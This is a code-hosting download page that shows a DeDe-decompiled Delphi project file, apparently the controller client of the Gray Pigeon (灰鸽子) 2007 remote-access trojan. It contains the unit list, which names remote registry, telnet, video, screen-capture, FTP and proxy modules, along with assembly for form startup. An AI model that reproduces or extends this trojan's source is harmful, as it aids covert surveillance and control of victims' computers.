⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 h_client.dpr

📁 灰鸽子2007VIP版源码
💻 DPR
📖 第 1 页 / 共 2 页
字号:
{此文件 由 DeDe Ver 3.50.02 Copyright (c) 1999-2002 DaFixer 生成}

Project H_Client;

Uses
  ConfigServerUnit in 'ConfigServerUnit.pas' {TConfigServer},
  AboutUnit in 'AboutUnit.pas' {TAboutForm},
  UpIp in 'UpIp.pas' {TUpIpDate},
  SysInf in 'SysInf.pas' {TSysShezhi},
  ShowPic in 'ShowPic.pas' {TShowPm},
  ALLVideo_Unit in 'ALLVideo_Unit.pas' {TALLVideo_Form},
  VideoUnit in 'VideoUnit.pas' {TVideoForm},
  Scanover in 'Scanover.pas' {TSjiegou},
  DirGauge in 'DirGauge.pas' {TDirGaugeForm},
  UpfileDir in 'UpfileDir.pas' {TUpFilleDirForm},
  AttribUnit in 'AttribUnit.pas' {TAttribForm},
  RegEditUnit in 'RegEditUnit.pas' {TRegEdit},
  RegHexEdit in 'RegHexEdit.pas' {TRegHex},
  TelnetUnit in 'TelnetUnit.pas' {TTelnetForm},
  ExeToolUnit in 'ExeToolUnit.pas' {TExeToolForm},
  FTPServerUnit in 'FTPServerUnit.pas' {TFTPServerForm},
  WebServerUnit in 'WebServerUnit.pas' {TWebServerForm},
  VProxyUnit in 'VProxyUnit.pas' {TVProxyForm},
  Splash in 'Splash.pas' {TSplashForm},
  EditGroup_Unit in 'EditGroup_Unit.pas' {TEditGroup_Form},
  Main in 'Main.pas' {TMainForm};

{$R *.RES}

begin
{
005D17FC   55                     push    ebp
005D17FD   8BEC                   mov     ebp, esp
005D17FF   83C4F0                 add     esp, -$10
005D1802   53                     push    ebx
005D1803   56                     push    esi
005D1804   B85C105D00             mov     eax, $005D105C

* Reference to: SysInit.@InitExe(Pointer);
|
005D1809   E85655E3FF             call    00406D64

* Reference to pointer to GlobalVar_005E0C8C
|
005D180E   8B1DC8B85D00           mov     ebx, [$005DB8C8]

* Reference to TApplication instance
|
005D1814   8B35C4B95D00           mov     esi, [$005DB9C4]
005D181A   8B06                   mov     eax, [esi]

* Reference to: DBAdapt.TDataSetAdapterDataLink.RecordChanged(TDataSetAdapterDataLink;DB.TField);
|           or: Forms.TApplication.Initialize(TApplication);
|           or: QForms.TApplication.Initialize(TApplication);
|           or: WebBroker.TWebApplication.Initialize(TWebApplication);
|
005D181C   E8FF5EEBFF             call    00487720
005D1821   90                     nop
005D1822   8B06                   mov     eax, [esi]

* Possible String Reference to: '灰鸽子'
|
005D1824   BAA41A5D00             mov     edx, $005D1AA4

* Reference to: Forms.TApplication.SetTitle(TApplication;AnsiString);
|
005D1829   E8EA5AEBFF             call    00487318
005D182E   90                     nop
005D182F   8B0E                   mov     ecx, [esi]
005D1831   B201                   mov     dl, $01

* Reference to class TSplashForm
|
005D1833   A104125B00             mov     eax, dword ptr [$005B1204]

* Reference to: Forms.TCustomForm.Create(TCustomForm;boolean;TComponent);
|           or: QForms.TCustomForm.Create(TCustomForm;boolean;TComponent);
|
005D1838   E8FBE5EAFF             call    0047FE38
005D183D   8903                   mov     [ebx], eax
005D183F   8B03                   mov     eax, [ebx]

* Reference to: Forms.TCustomForm.Show(TCustomForm);
|
005D1841   E84A29EBFF             call    00484190
005D1846   6A00                   push    $00
005D1848   8B06                   mov     eax, [esi]
005D184A   8B4030                 mov     eax, [eax+$30]
005D184D   50                     push    eax

* Reference to: user32.ShowWindow()
|
005D184E   E87564E3FF             call    00407CC8
005D1853   90                     nop

|
005D1854   E853F6FFFF             call    005D0EAC
005D1859   90                     nop

* Reference to TAboutForm instance
|
005D185A   8B0D00BD5D00           mov     ecx, [$005DBD00]
005D1860   8B06                   mov     eax, [esi]

* Reference to class TAboutForm
|
005D1862   8B1568285700           mov     edx, [$00572868]

* Reference to: Forms.TApplication.CreateForm(TApplication;TComponentClass;void;void);
|           or: QForms.TApplication.CreateForm(TApplication;TComponentClass;void;void);
|
005D1868   E8CB5EEBFF             call    00487738
005D186D   8B03                   mov     eax, [ebx]

* Reference to control SaveDialog1 : N.A.
|
005D186F   8B80FC020000           mov     eax, [eax+$02FC]

* Possible String Reference to: '正在载入搜索结果窗体...'
|
005D1875   BAB41A5D00             mov     edx, $005D1AB4

* Reference to: Controls.TControl.SetText(TControl;TCaption);
|
005D187A   E84D57E9FF             call    00466FCC
005D187F   8B03                   mov     eax, [ebx]

* Reference to control SaveDialog1 : N.A.
|
005D1881   8B80FC020000           mov     eax, [eax+$02FC]
005D1887   8B10                   mov     edx, [eax]

* Possible reference to virtual method TN.A..OFFS_0088
|
005D1889   FF9288000000           call    dword ptr [edx+$0088]

* Reference to TSjiegou instance
|
005D188F   8B0D88BC5D00           mov     ecx, [$005DBC88]
005D1895   8B06                   mov     eax, [esi]

* Reference to class TSjiegou
|
005D1897   8B1520BA5800           mov     edx, [$0058BA20]

* Reference to: Forms.TApplication.CreateForm(TApplication;TComponentClass;void;void);
|           or: QForms.TApplication.CreateForm(TApplication;TComponentClass;void;void);
|
005D189D   E8965EEBFF             call    00487738
005D18A2   8B03                   mov     eax, [ebx]

* Reference to control SaveDialog1 : N.A.
|
005D18A4   8B80FC020000           mov     eax, [eax+$02FC]

* Possible String Reference to: '正在载入上传文件窗体...'
|
005D18AA   BAD41A5D00             mov     edx, $005D1AD4

* Reference to: Controls.TControl.SetText(TControl;TCaption);
|
005D18AF   E81857E9FF             call    00466FCC
005D18B4   8B03                   mov     eax, [ebx]

* Reference to control SaveDialog1 : N.A.
|
005D18B6   8B80FC020000           mov     eax, [eax+$02FC]
005D18BC   8B10                   mov     edx, [eax]

* Possible reference to virtual method TN.A..OFFS_0088
|
005D18BE   FF9288000000           call    dword ptr [edx+$0088]

* Reference to TUpFilleDirForm instance
|
005D18C4   8B0D04B45D00           mov     ecx, [$005DB404]
005D18CA   8B06                   mov     eax, [esi]

* Reference to class TUpFilleDirForm
|
005D18CC   8B1568E65800           mov     edx, [$0058E668]

* Reference to: Forms.TApplication.CreateForm(TApplication;TComponentClass;void;void);
|           or: QForms.TApplication.CreateForm(TApplication;TComponentClass;void;void);
|
005D18D2   E8615EEBFF             call    00487738
005D18D7   8B03                   mov     eax, [ebx]

* Reference to control SaveDialog1 : N.A.
|
005D18D9   8B80FC020000           mov     eax, [eax+$02FC]

* Possible String Reference to: '正在载入属性窗体...'
|
005D18DF   BAF41A5D00             mov     edx, $005D1AF4

* Reference to: Controls.TControl.SetText(TControl;TCaption);
|
005D18E4   E8E356E9FF             call    00466FCC
005D18E9   8B03                   mov     eax, [ebx]

* Reference to control SaveDialog1 : N.A.
|
005D18EB   8B80FC020000           mov     eax, [eax+$02FC]
005D18F1   8B10                   mov     edx, [eax]

* Possible reference to virtual method TN.A..OFFS_0088
|
005D18F3   FF9288000000           call    dword ptr [edx+$0088]

* Reference to TAttribForm instance
|
005D18F9   8B0DC4B55D00           mov     ecx, [$005DB5C4]
005D18FF   8B06                   mov     eax, [esi]

* Reference to class TAttribForm
|
005D1901   8B1574055900           mov     edx, [$00590574]

* Reference to: Forms.TApplication.CreateForm(TApplication;TComponentClass;void;void);
|           or: QForms.TApplication.CreateForm(TApplication;TComponentClass;void;void);
|
005D1907   E82C5EEBFF             call    00487738
005D190C   8B03                   mov     eax, [ebx]

* Reference to control SaveDialog1 : N.A.
|
005D190E   8B80FC020000           mov     eax, [eax+$02FC]

* Possible String Reference to: '正在载入更新IP窗体...'
|
005D1914   BA101B5D00             mov     edx, $005D1B10

* Reference to: Controls.TControl.SetText(TControl;TCaption);
|
005D1919   E8AE56E9FF             call    00466FCC
005D191E   8B03                   mov     eax, [ebx]

* Reference to control SaveDialog1 : N.A.
|
005D1920   8B80FC020000           mov     eax, [eax+$02FC]
005D1926   8B10                   mov     edx, [eax]

* Possible reference to virtual method TN.A..OFFS_0088
|
005D1928   FF9288000000           call    dword ptr [edx+$0088]

* Reference to TUpIpDate instance
|
005D192E   8B0D38B55D00           mov     ecx, [$005DB538]
005D1934   8B06                   mov     eax, [esi]

* Reference to class TUpIpDate
|
005D1936   8B15BCB35700           mov     edx, [$0057B3BC]

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -